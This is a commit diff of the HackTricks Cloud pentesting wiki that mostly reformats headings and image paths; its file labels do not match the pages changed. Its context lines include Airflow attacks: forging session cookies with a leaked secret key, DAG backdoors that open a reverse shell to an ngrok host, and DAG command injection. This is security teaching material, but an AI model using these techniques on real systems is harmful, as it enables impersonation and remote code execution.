GITBOOK-671: No subject

Author: carlospolop

.gitbook/assets/image (1) (1) (1) (1).png

@@ -1,10 +1,8 @@
 # HackTricks Cloud
 
-<details>
-
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/image.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/image.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/image (2).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/image (2).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src=".gitbook/assets/image (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src=".gitbook/assets/image (1).png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src=".gitbook/assets/image (2).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src=".gitbook/assets/image (2).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
@@ -25,40 +23,37 @@ _Hacktricks logos & motion designed by_ [_@ppiernacho_](https://www.instagram.co
 Welcome to the page where you will find each **hacking trick/technique/whatever related to CI/CD & Cloud** I have learnt in **CTFs**, **real** life **environments**, **researching**, and **reading** researches and news.
 {% endhint %}
 
-## **Pentesting CI/CD Methodology**
+### **Pentesting CI/CD Methodology**
 
 **In the HackTricks CI/CD Methodology you will find how to pentest infrastructure related to CI/CD activities.** Read the following page for an **introduction:**
 
 {% content-ref url="pentesting-ci-cd/pentesting-ci-cd-methodology.md" %}
 [pentesting-ci-cd-methodology.md](pentesting-ci-cd/pentesting-ci-cd-methodology.md)
 {% endcontent-ref %}
 
-## Pentesting Cloud Methodology
+### Pentesting Cloud Methodology
 
 **In the HackTricks Cloud Methodology you will find how to pentest cloud environments.** Read the following page for an **introduction:**
 
 {% content-ref url="pentesting-cloud/pentesting-cloud-methodology.md" %}
 [pentesting-cloud-methodology.md](pentesting-cloud/pentesting-cloud-methodology.md)
 {% endcontent-ref %}
 
-## License & Disclaimer
+### License & Disclaimer
 
 **Check them in:**
 
 {% content-ref url="https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/welcome/hacktricks-values-and-faq" %}
 [HackTricks Values & FAQ](https://app.gitbook.com/s/-L\_2uGJGU7AVNRcqRvEi/welcome/hacktricks-values-and-faq)
 {% endcontent-ref %}
 
-## Github Stats
-
-![HackTricks Cloud Github Stats](https://repobeats.axiom.co/api/embed/1dfdbb0435f74afa9803cd863f01daac17cda336.svg "Repobeats analytics image")
+### Github Stats
 
-
-<details>
+![HackTricks Cloud Github Stats](https://repobeats.axiom.co/api/embed/1dfdbb0435f74afa9803cd863f01daac17cda336.svg)
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/image.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/image.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/image (2).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/image (2).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src=".gitbook/assets/image (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src=".gitbook/assets/image (1).png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src=".gitbook/assets/image (2).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src=".gitbook/assets/image (2).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 

.gitbook/assets/image (1) (1) (1).png

@@ -1,8 +1,8 @@
 # Ansible Tower / AWX / Automation controller Security
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/image.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/image.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/image (2).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/image (2).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../.gitbook/assets/image (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/image (1).png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../.gitbook/assets/image (2).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/image (2).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
@@ -152,8 +152,8 @@ From a **white box security** review, you would need the **System Auditor role**
 </details>
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/image.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/image.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/image (2).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/image (2).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../.gitbook/assets/image (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/image (1).png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../.gitbook/assets/image (2).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/image (2).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 

.gitbook/assets/image (1) (1).png

@@ -1,10 +1,8 @@
 # Apache Airflow Security
 
-<details>
-
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/image.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/image.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/image (2).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/image (2).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1).png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
@@ -17,19 +15,19 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/image (2).png" alt="" d
 </details>
 {% endhint %}
 
-## Basic Information
+### Basic Information
 
 [**Apache Airflow**](https://airflow.apache.org) serves as a platform for **orchestrating and scheduling data pipelines or workflows**. The term "orchestration" in the context of data pipelines signifies the process of arranging, coordinating, and managing complex data workflows originating from various sources. The primary purpose of these orchestrated data pipelines is to furnish processed and consumable data sets. These data sets are extensively utilized by a myriad of applications, including but not limited to business intelligence tools, data science and machine learning models, all of which are foundational to the functioning of big data applications.
 
 Basically, Apache Airflow will allow you to **schedule de execution of code when something** (event, cron) **happens**.
 
-## Local Lab
+### Local Lab
 
-### Docker-Compose
+#### Docker-Compose
 
 You can use the **docker-compose config file from** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) to launch a complete apache airflow docker environment. (If you are in MacOS make sure to give at least 6GB of RAM to the docker VM).
 
-### Minikube
+#### Minikube
 
 One easy way to **run apache airflo**w is to run it **with minikube**:
 
@@ -43,25 +41,25 @@ helm install airflow-release airflow-stable/airflow
 helm delete airflow-release
 ```
 
-## Airflow Configuration
+### Airflow Configuration
 
 Airflow might store **sensitive information** in its configuration or you can find weak configurations in place:
 
 {% content-ref url="airflow-configuration.md" %}
 [airflow-configuration.md](airflow-configuration.md)
 {% endcontent-ref %}
 
-## Airflow RBAC
+### Airflow RBAC
 
 Before start attacking Airflow you should understand **how permissions work**:
 
 {% content-ref url="airflow-rbac.md" %}
 [airflow-rbac.md](airflow-rbac.md)
 {% endcontent-ref %}
 
-## Attacks
+### Attacks
 
-### Web Console Enumeration
+#### Web Console Enumeration
 
 If you have **access to the web console** you might be able to access some or all of the following information:
 
@@ -72,7 +70,7 @@ If you have **access to the web console** you might be able to access some or al
 * List **users & roles**
 * **Code of each DAG** (which might contain interesting info)
 
-### Retrieve Variables Values
+#### Retrieve Variables Values
 
 Variables can be stored in Airflow so the **DAGs** can **access** their values. It's similar to secrets of other platforms. If you have **enough permissions** you can access them in the GUI in `http://<airflow>/variable/list/`.\
 Airflow by default will show the value of the variable in the GUI, however, according to [**this**](https://marclamberti.com/blog/variables-with-apache-airflow/) it's possible to set a **list of variables** whose **value** will appear as **asterisks** in the **GUI**.
@@ -85,15 +83,15 @@ Another way is to perform a **bruteforce** to the **hidden value** using the **s
 
 ![](<../../.gitbook/assets/image (152).png>)
 
-### Privilege Escalation
+#### Privilege Escalation
 
 If the **`expose_config`** configuration is set to **True**, from the **role User** and **upwards** can **read** the **config in the web**. In this config, the **`secret_key`** appears, which means any user with this valid they can **create its own signed cookie to impersonate any other user account**.
 
 ```bash
 flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"
 ```
 
-### DAG Backdoor (RCE in Airflow worker)
+#### DAG Backdoor (RCE in Airflow worker)
 
 If you have **write access** to the place where the **DAGs are saved**, you can just **create one** that will send you a **reverse shell.**\
 Note that this reverse shell is going to be executed inside an **airflow worker container**:
@@ -137,7 +135,7 @@ with DAG(
     )
 ```
 
-### DAG Backdoor (RCE in Airflow scheduler)
+#### DAG Backdoor (RCE in Airflow scheduler)
 
 If you set something to be **executed in the root of the code**, at the moment of this writing, it will be **executed by the scheduler** after a couple of seconds after placing it inside the DAG's folder.
 
@@ -165,11 +163,11 @@ with DAG(
         op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
 ```
 
-### DAG Creation
+#### DAG Creation
 
 If you manage to **compromise a machine inside the DAG cluster**, you can create new **DAGs scripts** in the `dags/` folder and they will be **replicated in the rest of the machines** inside the DAG cluster.
 
-### DAG Code Injection
+#### DAG Code Injection
 
 When you execute a DAG from the GUI you can **pass arguments** to it.\
 Therefore, if the DAG is not properly coded it could be **vulnerable to Command Injection.**\
@@ -187,11 +185,9 @@ foo = Variable.get("foo")
 
 If they are used for example inside a a bash command, you could perform a command injection.
 
-<details>
-
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/image.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/image.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/image (2).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/image (2).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1).png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 

.gitbook/assets/image.png

@@ -1,8 +1,8 @@
 # Airflow Configuration
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/image.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/image.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/image (2).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/image (2).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1).png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
@@ -122,8 +122,8 @@ AUTH_ROLE_PUBLIC = 'Admin'
 ```
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/image.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/image.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/image (2).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/image (2).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1).png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 

README.md

@@ -1,8 +1,8 @@
 # Airflow RBAC
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/image.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/image.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/image (2).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/image (2).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1).png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
@@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/image (2).png" alt="" d
 
 ## RBAC
 
-(From the docs)[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow ships with a **set of roles by default**: **Admin**, **User**, **Op**, **Viewer**, and **Public**. **Only `Admin`** users could **configure/alter the permissions for other roles**. But it is not recommended that `Admin` users alter these default roles in any way by removing or adding permissions to these roles.
+(From the docs)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow ships with a **set of roles by default**: **Admin**, **User**, **Op**, **Viewer**, and **Public**. **Only `Admin`** users could **configure/alter the permissions for other roles**. But it is not recommended that `Admin` users alter these default roles in any way by removing or adding permissions to these roles.
 
 * **`Admin`** users have all possible permissions.
 * **`Public`** users (anonymous) don’t have any permissions.
@@ -54,8 +54,8 @@ These are the default permissions per default role:
 \[]
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/image.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/image.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/image (2).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/image (2).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1).png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>